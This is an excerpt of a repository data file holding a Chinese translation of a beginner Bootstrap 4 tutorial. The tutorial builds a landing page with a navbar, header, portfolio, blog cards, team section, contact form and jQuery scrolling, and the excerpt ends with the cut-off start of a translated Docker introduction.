    "content": "> * 原文地址：[Learn Bootstrap 4 in 30 minutes by building a landing page website](https://medium.freecodecamp.org/learn-bootstrap-4-in-30-minute-by-building-a-landing-page-website-guide-for-beginners-f64e03833f33)\n> * 原文作者：[SaidHayani@](https://medium.freecodecamp.org/@saidhayani?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/learn-bootstrap-4-in-30-minute-by-building-a-landing-page-website-guide-for-beginners.md](https://github.com/xitu/gold-miner/blob/master/TODO1/learn-bootstrap-4-in-30-minute-by-building-a-landing-page-website-guide-for-beginners.md)\n> * 译者：[Zheng7426](https://github.com/Zheng7426)\n> * 校对者：[Park-ma](https://github.com/Park-ma), [Moonliujk](https://github.com/Moonliujk)\n\n# 用 30 分钟建立一个网站的方式来学习 Bootstrap 4\n\n![](https://cdn-images-1.medium.com/max/800/1*1_a4TocueD3AqEpsDDv4bA.jpeg)\n\n来自 [templatetoaster](https://blog.templatetoaster.com/bootstrap-4/)\n\n![](https://cdn-images-1.medium.com/max/800/1*a9OoxPsn-hrbjYpbNV6DzA.gif)\n\n### 新人指南\n\n> “Bootstrap 是一个为网站及网页应用设计而生的开源前端代码库。它基于 HTML 和 CSS 的设计模板涵盖了文字设计、表单、按钮、导航、其他界面组件以及一些 JavaScript 扩展包。与很多其他网页框架不一样的是，Bootstrap 对自身的定位是仅仅适用于前端开发而已。” — [维基百科](https://en.wikipedia.org/wiki/Bootstrap_%28front-end_framework)\n\n> [嘿嘿，在我们开始之前，你可以看看我开设的学习 Bootstrap 4 的完整课程，你不仅可以学到 bootstrap 的新特性，还能学到如何借助这些特性来实现更棒的用户体验。](https://skl.sh/2NbSAYj)。\n\nBootstrap 有不少版本，其中最新的是第四版。在这篇文章里我们就是要来用 Bootstrap 4 来构建一个网站。\n\n### 必备知识\n\n在开始学习和使用 Bootstrap 框架之前，有一些知识你得先掌握：\n\n*   HTML 基本知识\n*   CSS  基本知识\n*   以及对 JQuery 略懂一二\n\n### 目录\n\n在构建网站的过程中我们会谈到的话题：\n\n*   [Bootstrap 4 的下载及安装](#下载及安装-bootstrap-4)\n*   [Bootstrap 4 的新特性](#bootstrap-4-的新特性)\n*   [Bootstrap 网格系统](#bootstrap-网格系统-grid-system)\n*   [导航栏](#导航栏navbar)\n*   [标题](#标题header)\n*   [按钮](#按钮buttons)\n*   [“关于我”版块](#关于我版块about)\n*   [作品集版块](#作品集版块portfolio)\n*   [博客版块](#博客版块blog)\n*   [卡片](#卡片card)\n*   [团队版块](#团队版块team)\n*   [联系表单](#联络表单contact-form)\n*   [字体](#字体-font)\n*   [划动效果](#划动效果scroll-effect)\n*   [总结](#总结)\n\n### 下载及安装 Bootstrap 4\n\n想要在你的项目中添上 Bootstrap 4 一共有三种办法： \n\n1. 通过 npm（Node 包管理器）\n\n你可以使用这行命令来安装 Bootstrap 4 —— `npm install bootstrap`。\n\n2. 通过 CDN（内容分发网络）\n\n你可以在你项目的 head 标签之间添上这个链接：\n\n```\n<link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css\" integrity=\"sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm\" crossorigin=\"anonymous\">\n```\n\n3. 通过下载这个 [Bootstrap 4](http://getbootstrap.com/) 代码库并在本地使用。\n\n整个项目的结构应该看起来像这样： \n![](https://cdn-images-1.medium.com/max/800/1*cyhB-vVWlIwbNpDH_JNZYg.png)\n\n### Bootstrap 4 的新特性\n\nBootstrap 4 有什么新花样呢？它和 Bootstrap 3 又有何不同？ \n\n比起上一个版本，Bootstrap 4 加入了以下一些很棒的新特性：  \n\n*   Bootstrap 4 是由 Flexbox Grid 写成的，而 Bootstrap 3 是由 float 方法写就。\n    如果你没听过 Flexbox 的话可以查看[这个教程](https://scrimba.com/p/pL65cJ/canLGCw)。\n*   Bootstrap 4 使用了 `rem` CSS 单位，而 Bootstrap 3 使用的是 `px`。 \n    [了解这两种单位的区别](https://zellwk.com/blog/media-query-units/)\n*   Panels, thumbnails 和 wells 在这个新版本中全被舍弃了。 \n    想要更详细地了解在 Bootstrap 4 中被移除的特性和新增的改动吗？[点这里](http://getbootstrap.com/docs/4.0/migration/#global-changes).\n\n先不要在意这些这些细节，我们来接着谈其他重要的话题吧。\n\n### Bootstrap 网格系统 (Grid system)\n\nBootstrap 网格系统有助于创建你的布局以及轻松地构建一个响应式网站。在 Bootstrap 4 里唯一对 class 名称的改动就是去除了 `.xs` class。\n\n网格一共被分成了 12 列（columns），所以你的布局将会基于这 12 列来实现。 \n使用这个网格系统的前提在于，你得在主要的 _div_ 里加上一个名为 `.row` 的 class。 \n\n```\ncol-lg-2 // 这个 class 适用于大型设备（如笔记本电脑）\ncol-md-2 // 这个 class 适用于中型设备（如平板电脑）\ncol-sm-2// 这个 class 适用于小型设备（如手机）\n```\n\n### 导航栏（Navbar）\n\n![](https://cdn-images-1.medium.com/max/800/1*VbIQyNsPrZ143nV8LaHLAg.png)\n\nBootstrap 4 中导航栏的封装可以说非常酷炫，它在构建一个响应式导航栏的时候可以帮上大忙。\n\n要想运用导航栏，咱们得在文件 `index.html` 中加入 `navbar` 这个 class：\n\n```\n<nav class=\"navbar navbar-expand-lg fixed-top \">\n   <a class=\"navbar-brand\" href=\"#\">Home</a>\n   <button class=\"navbar-toggler\" type=\"button\" data-toggle=\"collapse\" data-target=\"#navbarSupportedContent\" aria-controls=\"navbarSupportedContent\" aria-expanded=\"false\" aria-label=\"Toggle navigation\">\n     <span class=\"navbar-toggler-icon\"></span>\n   </button>\n   \n<div class=\"collapse navbar-collapse \" id=\"navbarSupportedContent\">\n     <ul class=\"navbar-nav mr-4\">\n       \n       <li class=\"nav-item\">\n         <a class=\"nav-link\" href=\"#\">About</a>\n       </li>\n       <li class=\"nav-item\">\n         <a class=\"nav-link \" href=\"#\">Portfolio</a>\n       </li>\n       <li class=\"nav-item\">\n         <a class=\"nav-link \" href=\"#\">Team</a>\n       </li>\n       <li class=\"nav-item\">\n         <a class=\"nav-link \" href=\"#\">Post</a>\n       </li>\n       <li class=\"nav-item\">\n         <a class=\"nav-link \" href=\"#\">Contact</a>\n       </li>\n     </ul>\n     \n   </div>\n</nav>\n```\n\n创建并加入一个 `main.css` 文件来定义你自己的 CSS 风格。\n\n在你的 `index.html` 文件中，把以下这行代码塞入两个 `head` 标签之中：\n\n```\n<link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\">\n```\n\n咱们给导航栏添一些色彩：\n\n```\n.navbar{\n background:#F97300;\n}\n.nav-link , .navbar-brand{\n color: #f4f4f4;\n cursor: pointer;\n}\n.nav-link{\n margin-right: 1em !important;\n}\n.nav-link:hover{\n background: #f4f4f4;\n color: #f97300;\n}\n.navbar-collapse{\n justify-content: flex-end;\n}\n.navbar-toggler{\n  background:#fff !important;\n}\n```\n\n新的 Bootstrap 网格是基于 Flexbox 构建的，所以你得使用 Flexbox 的性质来进行网站元素的排列。打个比方，若想要把导航栏菜单放在右边，咱得加入一个 `justify-content` 性质，并且赋值 `flex-end`。\n\n```\n.navbar-collapse{  \n justify-content: flex-end;  \n}\n```\n\n之后，给导航栏加上 `.fixed-top` class 并且给予其一个固定位置。\n若想让导航栏的背景变成淡色，加上 `.bg-light`；若想要一个深色的背景，则加上 `.bg-dark`。至于淡蓝色的背景，可以加上 `.bg-primary`。\n\n代码应该看起来如下图：\n\n```\n.bg-dark{  \nbackground-color:#343a40!important  \n}  \n.bg-primary{  \nbackground-color:#007bff!important  \n}\n```\n\n### 标题（Header）\n\n```\n<header class=\"header\">  \n    \n</header>\n```\n\n咱们来试试创建一个标题的布局。\n\n为了让标题能够占据 window 对象的高度，我们得用上一点点 JQuery 代码。\n首先创建一个 `main.js` 文件，然后将其链接放在 `index.html` 文件中 `body` 的前面：\n\n```\n<script type=\"text/javascript\" src='js/main.js'></script>\n```\n\n往 `main.js` 文件中插入这么一小点 JQuery 代码：\n\n```\n$(document).ready(function(){  \n $('.header').height($(window).height());\n\n})\n```\n\n如果我们往标题页配上一张不错的背景图，看起来会很酷：\n\n```\n/*header style*/\n.header{\n background-image: url('../images/headerback.jpg');\n background-attachment: fixed;\n background-size: cover;\n background-position: center;\n}\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*LmLTI-enV2RSKjsO9hzPxQ.png)\n\n为了让标题页看起来更专业，可以加上一个覆盖层：\n\n把以下代码添进你的 `index.html` 文件：\n\n```\n<header class=\"header\">  \n  <div class=\"overlay\"></div>  \n</header>\n```\n\n然后在你的 `main.css` 文件中加入这些代码：\n\n```\n.overlay{  \n position: absolute;  \n min-height: 100%;  \n min-width: 100%;  \n left: 0;  \n top: 0;  \n background: rgba(244, 244, 244, 0.79);  \n}\n```\n\n现在咱们需要在标题里加上描述的部分。\n\n为了加上描述，首先需要写一个 `div` 并给它添上叫 `.container` 的 class。\n\n`.container` 是一个可以封装你的内容并且使你的布局具有响应性的 Bootstrap class：\n\n```\n<header class=\"header\">  \n  <div class=\"overlay\"></div>  \n   <div class=\"container\">  \n      \n   </div>  \n    \n</header>\n```\n\n在那之后，另写一个包含描述版块的 `div`。\n\n```\n<div class=\"description text-center\">  \n   <h3>  \n    Hello ,Welcome To My officail Website  \n    <p>  \n    cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non  \n    proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>  \n    <button class=\"btn btn-outline-secondary\">See more</button>  \n   </h3>  \n  </div>\n```\n\n咱们在这个 `div` 的 class 里写 `.description`，并且加上 `.text-center` 来确保这个描述版块里的内容会出现在整个页面的中央。\n\n#### 按钮（Buttons）\n\n现在往 `button` 元素加一个名为 `.btn btn-outline-secondary` 的 class。Bootstrap 还有不少其他为按钮而生的 class。\n\n来看看一些例子：\n\n* [**CodePen Embed — bootstrap 4 中的按钮**：各种按钮样式](https://codepen.io/Saidalmaghribi/embed/oEWgbw)\n\n以下是 `main.css` 文件中 `.description` 的 CSS 代码：\n\n```\n.description{  \n    position: absolute;  \n    top: 30%;  \n    margin: auto;  \n    padding: 2em;\n\n}  \n.description h1{  \n color:#F97300 ;  \n}  \n.description p{  \n color:#666;  \n font-size: 20px;  \n width: 50%;  \n line-height: 1.5;  \n}  \n.description button{  \n border:1px  solid #F97300;  \n background:#F97300;  \n color:#fff;  \n}\n```\n\n至此，咱们的标题看起来会是这样的：\n\n![](https://cdn-images-1.medium.com/max/800/1*kV7umhOF5QPveMmADXUCSw.png)\n\n有没有很炫？ :)\n\n### “关于我”版块（About)\n\n![](https://cdn-images-1.medium.com/max/800/1*VWnyo3Jg4brsW5YRZToCiQ.png)\n\n咱们会用一些 Bootstrap 网格来将这个板块一分为二。\n开始使用网格的前提在于，咱们必须让 `.row` 这个 class 成为 parent `div`。（译者注：把这个div放在最外面）\n\n```\n<div class=\"row></div>\n```\n\n第一个部分会在左边，包含一张图片。第二个部分会在右边，包含一段描述。\n\n每一个 `div` 会占据 6 列 —— 也就是说整个版块一半的空间。要记住一个网格被分成了 12 列。\n\n在左边第一个 `div` 里面：\n\n```\n<div class=\"row\"> \n // 左边\n<div class=\"col-lg-4 col-md-4 col-sm-12\">\n    <img src=\"images/team-3.jpg\" class=\"img-fluid\">\n    <span class=\"text-justify\">S.Web Developer</span>\n </div>\n</div>\n```\n\n在给右边的版块加入 HTML 元素之后，整个代码的结构看起来会是这样子：\n\n```\n<div class=\"row\">\n   <div class=\"col-lg-4 col-md-4 col-sm-12\">\n    <img src=\"images/team-3.jpg\" class=\"img-fluid\">\n    <span class=\"text-justify\">S.Web Developer</span>\n   </div>\n   <div class=\"col-lg-8 col-md-8 col-sm-12 desc\">\n     \n    <h3>D.John</h3>\n    <p>\n       ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod\n     tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,\n     quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo\n     consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse\n     cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non\n     proident, sunt in culpa qui officia deserunt mollit anim id est laborum.\n    </p>\n   </div>\n</div>\n```\n\n这里是我对其外观的改动：\n\n```\n.about{\n margin: 4em 0;\n padding: 1em;\n position: relative;\n}\n.about h1{\n color:#F97300;\n margin: 2em;\n}\n.about img{\n height: 100%;\n    width: 100%;\n    border-radius: 50%\n}\n.about span{\n display: block;\n color: #888;\n position: absolute;\n left: 115px;\n}\n.about .desc{\n padding: 2em;\n border-left:4px solid #10828C;\n}\n.about .desc h3{\n color: #10828C;\n}\n.about .desc p{\n line-height:2;\n color:#888;\n}\n```\n\n### 作品集版块（Portfolio）\n\n现在咱们再接再厉，来创建一个包含一个图库的作品集版块。\n![](https://cdn-images-1.medium.com/max/800/1*fNaqxcagCvh8Ue3lZvK6Vw.png)\n\n作品集版块的 HTML 代码的结构看起来是这样子的：\n```\n<!-- portfolio -->\n<div class=\"portfolio\">\n     <h1 class=\"text-center\">Portfolio</h1>\n <div class=\"container\">\n  <div class=\"row\">\n   <div class=\"col-lg-4 col-md-4 col-sm-12\">\n    <img src=\"images/portfolio/port13.png\" class=\"img-fluid\">\n   </div>\n   <div class=\"col-lg-4 col-md-4 col-sm-12\">\n    <img src=\"images/portfolio/port1.png\" class=\"img-fluid\">\n   </div>\n   <div class=\"col-lg-4 col-md-4 col-sm-12\">\n    <img src=\"images/portfolio/port6.png\" class=\"img-fluid\">\n   </div>\n<div class=\"col-lg-4 col-md-4 col-sm-12\">\n    <img src=\"images/portfolio/port3.png\" class=\"img-fluid\">\n   </div>\n   <div class=\"col-lg-4 col-md-4 col-sm-12\">\n    <img src=\"images/portfolio/port11.png\" class=\"img-fluid\">\n   </div>\n   <div class=\"col-lg-4 col-md-4 col-sm-12\">\n    <img src=\"images/portfolio/electric.png\" class=\"img-fluid\">\n   </div>\n<div class=\"col-lg-4 col-md-4 col-sm-12\">\n    <img src=\"images/portfolio/Classic.jpg\" class=\"img-fluid\">\n   </div>\n   <div class=\"col-lg-4 col-md-4 col-sm-12\">\n    <img src=\"images/portfolio/port1.png\" class=\"img-fluid\">\n   </div>\n   <div class=\"col-lg-4 col-md-4 col-sm-12\">\n    <img src=\"images/portfolio/port8.png\" class=\"img-fluid\">\n   </div>\n  </div>\n </div>\n</div>\n```\n\n给每一张图片加入 `.img-fluid` 使其具备响应性。\n\n咱们图库中每一张图片会占据 4 列（记住，`col-md-4`适用于中型设备，`col-lg-4` 适用于大型设备），也就是说相当于大型设备（如台式机和大型平板电脑）宽度的  33.3333%。同样的，小型设备上（如手机）的 12 列将占据整个容器宽度的 100%。\n给咱们的图库加上些风格样式：\n\n```\n/*作品集*/\n.portfolio{\n margin: 4em 0;\n    position: relative; \n}\n.portfolio h1{\n color:#F97300;\n margin: 2em; \n}\n.portfolio img{\n  height: 15rem;\n  width: 100%;\n  margin: 1em;\n}\n```\n\n### 博客版块（Blog）\n\n![](https://cdn-images-1.medium.com/max/800/1*3y9bIjRwf2RtGRzMIXwZIQ.png)\n\n#### 卡片（Card）\n\nBootstrap 4 中的卡片使得设计博客简单了好多。这些卡片适用于文章和帖子。\n\n为了创建卡片，咱们使用名为 `.card` 的 class，并且写在一个 _div_ 元素里。\n\n这个卡片 class 包含不少特性：\n\n*   `.card-header`：定义卡片的标题\n*   `.card-body`：用于卡片的主体\n*   `.card-title`：卡片的题目\n*   `card-footer`：定义卡片的脚注\n*   `.card-image`：用于卡片的图像\n\n所以呢，咱们网站的 HTML 看起来会是这样的：\n```\n<!-- Posts section -->\n<div class=\"blog\">\n <div class=\"container\">\n <h1 class=\"text-center\">Blog</h1>\n  <div class=\"row\">\n   <div class=\"col-md-4 col-lg-4 col-sm-12\">\n    <div class=\"card\">\n     <div class=\"card-img\">\n      <img src=\"images/posts/polit.jpg\" class=\"img-fluid\">\n     </div>\n     \n     <div class=\"card-body\">\n     <h4 class=\"card-title\">Post Title</h4>\n      <p class=\"card-text\">\n       \n       proident, sunt in culpa qui officia deserunt mollit anim id est laborum.\n      </p>\n     </div>\n     <div class=\"card-footer\">\n      <a href=\"\" class=\"card-link\">Read more</a>\n     </div>\n    </div>\n   </div>\n   <div class=\"col-md-4 col-lg-4 col-sm-12\">\n    <div class=\"card\">\n     <div class=\"card-img\">\n      <img src=\"images/posts/images.jpg\" class=\"img-fluid\">\n     </div>\n     \n     <div class=\"card-body\">\n        <h4 class=\"card-title\">Post Title</h4>\n      <p class=\"card-text\">\n       \n       proident, sunt in culpa qui officia deserunt mollit anim id est laborum.\n      </p>\n     </div>\n     <div class=\"card-footer\">\n      <a href=\"\" class=\"card-link\">Read more</a>\n     </div>\n    </div>\n   </div>\n   <div class=\"col-md-4 col-lg-4 col-sm-12\">\n    <div class=\"card\">\n     <div class=\"card-img\">\n      <img src=\"images/posts/imag2.jpg\" class=\"img-fluid\">\n     </div>\n     \n     <div class=\"card-body\">\n     <h4 class=\"card-title\">Post Title</h4>\n      <p class=\"card-text\">\n       \n       proident, sunt in culpa qui officia deserunt mollit anim id est laborum.\n      </p>\n     </div>\n     <div class=\"card-footer\">\n      <a href=\"\" class=\"card-link\">Read more</a>\n     </div>\n    </div>\n   </div>\n  </div>\n </div>\n</div>\n```\n\n我们需要往卡片里加一些 CSS：\n\n```\n.blog{  \n margin: 4em 0;  \n position: relative;   \n}  \n.blog h1{  \n color:#F97300;  \n margin: 2em;   \n}  \n.blog .card{  \n box-shadow: 0 0 20px #ccc;  \n}  \n.blog .card img{  \n width: 100%;  \n height: 12em;  \n}  \n.blog .card-title{  \n color:#F97300;  \n    \n}  \n.blog .card-body{  \n padding: 1em;  \n}\n```\n\n添加了博客版块之后，网站的设计看起来会是这样的：\n\n![](https://cdn-images-1.medium.com/max/800/1*mHMPSea2jWdZ2dc_b658eA.png)\n\n有没有非常炫？ 😄\n\n### 团队版块（Team）\n\n![](https://cdn-images-1.medium.com/max/800/1*1PaKtdHChKl534aExUfjCQ.png)\n\n在这个版块里我们会使用网格系统来平均地分配图片与图片之间的空间。每一张图片占据容器的 3 列（`.col-md-3`）—— 等于是整个空间的 25%。\n咱们的 HTML 结构：\n\n```\n<!-- 团队版块 -->\n<div class=\"team\">\n <div class=\"container\">\n    <h1 class=\"text-center\">Our Team</h1>\n  <div class=\"row\">\n   <div class=\"col-lg-3 col-md-3 col-sm-12 item\">\n    <img src=\"images/team-2.jpg\" class=\"img-fluid\" alt=\"team\">\n    <div class=\"des\">\n      Sara\n     </div>\n    <span class=\"text-muted\">Manager</span>\n   </div>\n   <div class=\"col-lg-3 col-md-3 col-sm-12 item\">\n    <img src=\"images/team-3.jpg\" class=\"img-fluid\" alt=\"team\">\n    <div class=\"des\">\n       Chris\n     </div>\n    <span class=\"text-muted\">S.enginner</span>\n   </div>\n   <div class=\"col-lg-3 col-md-3 col-sm-12 item\">\n    <img src=\"images/team-2.jpg\" class=\"img-fluid\" alt=\"team\">\n    <div class=\"des\">\n      Layla \n     </div>\n    <span class=\"text-muted\">Front End Developer</span>\n   </div>\n   <div class=\"col-lg-3 col-md-3 col-sm-12 item\">\n    <img src=\"images/team-3.jpg\" class=\"img-fluid\" alt=\"team\">\n     <div class=\"des\">\n      J.Jirard\n     </div>\n    <span class=\"text-muted\">Team Manger</span>\n   </div>\n  </div>\n </div>\n</div>\n```\n\n现在加上一些风格样式：\n\n```\n.team{\n margin: 4em 0;\n position: relative;  \n}\n.team h1{\n color:#F97300;\n margin: 2em; \n}\n.team .item{\n position: relative;\n}\n.team .des{\n background: #F97300;\n color: #fff;\n text-align: center;\n border-bottom-left-radius: 93%;\n transition:.3s ease-in-out;\n}\n\n```\n\n在图片的悬浮效果上用动画加上一个覆盖层会很不错 😄。\n\n![](https://cdn-images-1.medium.com/max/800/1*SxGguj9S8JMncs-D3uNcsA.gif)\n\n为了达到这个效果，在 `main.css` 中加入以下风格样式：\n\n```\n.team .item:hover .des{  \n height: 100%;  \n background:#f973007d;  \n position: absolute;  \n width: 89%;  \n padding: 5em;  \n top: 0;  \n border-bottom-left-radius: 0;  \n}\n```\n\n超级酷炫有木有！ 😙\n\n### 联络表单（Contact Form)\n\n![](https://cdn-images-1.medium.com/max/800/1*vaI3jh3TFwSKBn6BcsBedw.png)\n\n在咱们完事之前，联络表单是需要添加的最后一个版块 😃。\n\n这个版块会包含一个访问者可以发送电子邮件或提出反馈的表单。咱们将使用一些 Bootstrap classes 来使设计看起来又漂亮又具有响应性。\n\n就像 Bootstrap 3 那样，对于对输入栏，Bootstrap 4 也运用了名为 `.form-control` 的 class，但是还有些新的特性可以使用 —— 比如说从使用 `.input-group-addon`（已经停用）转换到 `**.input-group-prepend**`（像使用 label 那样来使用 icon）。\n\n想要了解更多这方面的资料的话可以查看 [Bootstrap 4 文档](https://getbootstrap.com/docs/4.0/migration/#input-groups)。在咱们的联络表单中我们将封装每一个拥有 class `.form-group` 的 `div` 之间的输入栏。\n现在 `index.html` 文件的代码看起来会是这样的：\n\n```\n<!-- 联络表单 -->\n<div class=\"contact-form\">\n <div class=\"container\">\n  <form>\n   <div class=\"row\">\n    <div class=\"col-lg-4 col-md-4 col-sm-12\">\n      <h1>Get in Touch</h1> \n    </div>\n    <div class=\"col-lg-8 col-md-8 col-sm-12 right\">\n       <div class=\"form-group\">\n         <input type=\"text\" class=\"form-control form-control-lg\" placeholder=\"Your Name\" name=\"\">\n       </div>\n       <div class=\"form-group\">\n         <input type=\"email\" class=\"form-control form-control-lg\" placeholder=\"YourEmail@email.com\" name=\"email\">\n       </div>\n       <div class=\"form-group\">\n         <textarea class=\"form-control form-control-lg\">\n          \n         </textarea>\n       </div>\n       <input type=\"submit\" class=\"btn btn-secondary btn-block\" value=\"Send\" name=\"\">\n    </div>\n   </div>\n  </form>\n </div>\n</div>\n```\n\n联络版块的风格样式：\n\n**main.css**\n\n```\n.contact-form{\n margin: 6em 0;\n position: relative;  \n}\n.contact-form h1{\n padding:2em 1px;\n color: #F97300; \n}\n.contact-form .right{\n max-width: 600px;\n}\n.contact-form .right .btn-secondary{\n background:  #F97300;\n color: #fff;\n border:0;\n}\n.contact-form .right .form-control::placeholder{\n color: #888;\n font-size: 16px;\n}\n```\n\n#### 字体 (Font)\n\n我觉着系统自带的字体比较丑陋，所以使用了 Google Font 接口，然后选择 Google 字体里的 **Raleway**。这是个不错的字体而且很适合咱们的样板。\n\n在你的 `main.css` 文件中添上这个链接：\n\n```\n@import url('https://fonts.googleapis.com/css?family=Raleway');\n```\n\n然后设置 HTML 和标题标签的全局风格样式：\n\n```\nhtml,h1,h2,h3,h4,h5,h6,a{\n font-family: \"Raleway\";\n}\n```\n\n#### 划动效果（Scroll Effect）\n\n![](https://cdn-images-1.medium.com/max/800/1*a9OoxPsn-hrbjYpbNV6DzA.gif)\n\n最后缺席的就是划动效果了。现在我们将要用到一些 JQuery。如果你对 JQuery 不是很熟悉，不要担心，直接复制粘贴以下的代码到你的 `main.js` 文件：\n\n```\n$(\".navbar a\").click(function(){  \n  $(\"body,html\").animate({  \n   scrollTop:$(\"#\" + $(this).data('value')).offset().top  \n  },1000)  \n    \n })\n```\n\n然后给每一个导航栏链接加上 `data-value` 特性：\n\n```\n<li class=\"nav-item\">  \n         <a class=\"nav-link\" data-value=\"about\" href=\"#\">About</a>  \n       </li>  \n       <li class=\"nav-item\">  \n         <a class=\"nav-link \" data-value=\"portfolio\" href=\"#\">Portfolio</a>  \n       </li>  \n       <li class=\"nav-item\">  \n         <a class=\"nav-link \" data-value=\"blog\" href=\"#\">Blog</a>  \n       </li>  \n       <li class=\"nav-item\">  \n         <a class=\"nav-link \" data-value=\"team\" href=\"#\">  \n         Team</a>  \n       </li>  \n       <li class=\"nav-item\">  \n         <a class=\"nav-link \" data-value=\"contact\" href=\"#\">Contact</a>  \n       </li>\n```\n\n再给每一个版块加上 `id` 属性。\n\n**记住**: 为了使拉动效果正常工作，`id` 必须要和导航栏链接中的 `data-value` 属性一模一样：\n\n```\n<div class=\"about\" id=\"about\"></div>\n```\n\n### 总结\n\nBootstrap 4 是一个构建你网页应用很棒的选择。它提供高质量的 UI 元素而且易于自定义调整、与其他框架组合以及使用。不但如此，它也帮助你在网页中加入响应性，所以能够给你的用户带来非常棒的体验。\n\n关于这个项目的文件都可以在[这里找到](https://github.com/hayanisaid/bootstrap4-website)。\n\n要想学习 Bootstrap 4，也可以查看我的 Bootstrap 课程：\n\n* [**Bootstrap 4 crash course: 从基础到进阶 | Said Hayani | Skillshare**: 在这个课程里你将学习 Bootstrap 的第四版，是一个 CSS 框架用以构建灵活的页面以及……](https://skl.sh/2LaD1ym)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/learn-enough-docker-to-be-useful-1.md",
    "content": "> * 原文地址：[Learn Enough Docker to be Useful](https://towardsdatascience.com/learn-enough-docker-to-be-useful-b7ba70caeb4b)\n> * 原文作者：[Jeff Hale](https://medium.com/@jeffhale)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/learn-enough-docker-to-be-useful-1.md](https://github.com/xitu/gold-miner/blob/master/TODO1/learn-enough-docker-to-be-useful-1.md)\n> * 译者：[EmilyQiRabbit](https://github.com/EmilyQiRabbit)\n> * 校对者：[MarchYuanx](https://github.com/MarchYuanx)，[TokenJan](https://github.com/TokenJan)\n\n# Docker 的学习和应用\n\n### 第一部分：基本概念\n\n![](https://cdn-images-1.medium.com/max/3840/1*4eXBePb2oLVPxHyocCNmlw.jpeg)\n\n容器（Container）对于提高软件研发和数据存储的安全性、再生性，以及可扩展性都大有用途。它们的兴起是当今科技潮流中最重要的部分之一。\n\nDocker 就是一个在容器中研发、部署以及运行程序的平台。实际上，Docker 就是集装箱的同义词。如果你是或是立志想要成为一名软件开发工程师或者数据科学家，Docker 就是你必须要学习的内容。\n\n![](https://cdn-images-1.medium.com/max/2000/1*EJx9QN4ENSPKZuz51rC39w.png)\n\n不用担心你的进度比别人落后了 —— 本文将会帮助你了解 Docker 的基本概念 —— 然后你就可以在此基础上应用它了。\n\n在这个系列的后五篇文章中，我将会专注讲解 Docker 术语、Dockerfile、Docker 镜像，Docker 命令以及数据存储。第二部分现在已经上线：\n\n* [**Docker 的学习和应用（2）：你需要知道的那些 Docker 术语**](https://towardsdatascience.com/learn-enough-docker-to-be-useful-1c40ea269fa8)\n\n在这个系列的最后（还会有一些练习内容），你应该能基本学会 Docker 并可以加以应用了 😃！\n\n## 关于 Docker 的比喻\n\n首先，我们从一个对 Docker 的比喻开始讲起。\n\n![[They’re everywhere! Just check out this book.](https://www.goodreads.com/book/show/34459.Metaphors_We_Live_By)](https://cdn-images-1.medium.com/max/2000/1*poqn_j2R9xTk940n9wE9Lw.jpeg)\n\n[Google 对比喻的定义](https://www.google.com/search?q=metaphor+definition&oq=metaphor+defini&aqs=chrome.0.0j69i57j0l4.2999j1j4&sourceid=chrome&ie=UTF-8)正是我们需要了解的：\n\n> 代表或者象征另外一些事物，特别是很抽象的事物。\n\n比喻能帮助我们了解新事物。比如说，将其比喻为一个容器实体可以帮助我们快速的了解虚拟容器的本质。\n\n![一个容器实体](https://cdn-images-1.medium.com/max/2000/1*ndncU4a3uNsQ_oy2YrNLBA.jpeg)\n\n### 容器（Container）\n\n正如一个塑料盒子实体，一个 Docker 容器的特性包括：\n\n1. **容纳事物** —— 毕竟事物不是在容器内就是在容器外。\n\n2. **便携式** —— 它可以用于本地设备、共享设备，或者云服务（例如 AWS）上。有点像你小时候搬家的时候用来装小玩意儿们的盒子。\n\n3. **提供清晰的接口** —— 实体盒子会有一个开口，让我们能打开它并放入或者取出东西。类似的，Docker 容器也有和外界沟通的机制。它有可以开放的端口，通过浏览器即可与外界交互。你可以通过命令行对它进行数据交互的相关配置。\n\n4. **支持远程获取** —— 当你有需要的时候，你可以从亚马逊上买到另一个空的塑料盒子。亚马逊从制造商那里获取塑料盒子，而制造商从一个模具中可以制造出成千上万这样的盒子。而对于 Docker 容器，异地登陆会保留一张镜像，它就像是一个盒子模具。如果你需要另一个容器，你可以从这个镜像中制作出一份。。\n\n和虚拟的 Docker 容器不同，你必须付费才能从亚马逊买新的塑料盒子，而且也不能得到放进去的货物的备份。抱歉喽 💸。\n\n### 活的实例\n\n第二种你可以用来思考 Docker 容器的方法是将它看作一个**活物的实例**。实例是指以某种形态存在的事物。它不仅仅是代码。它让事物有了生命。就像其他的活物一样，这个实例最终会消亡 —— 意味着容器会被关闭。\n\n![An instance of a 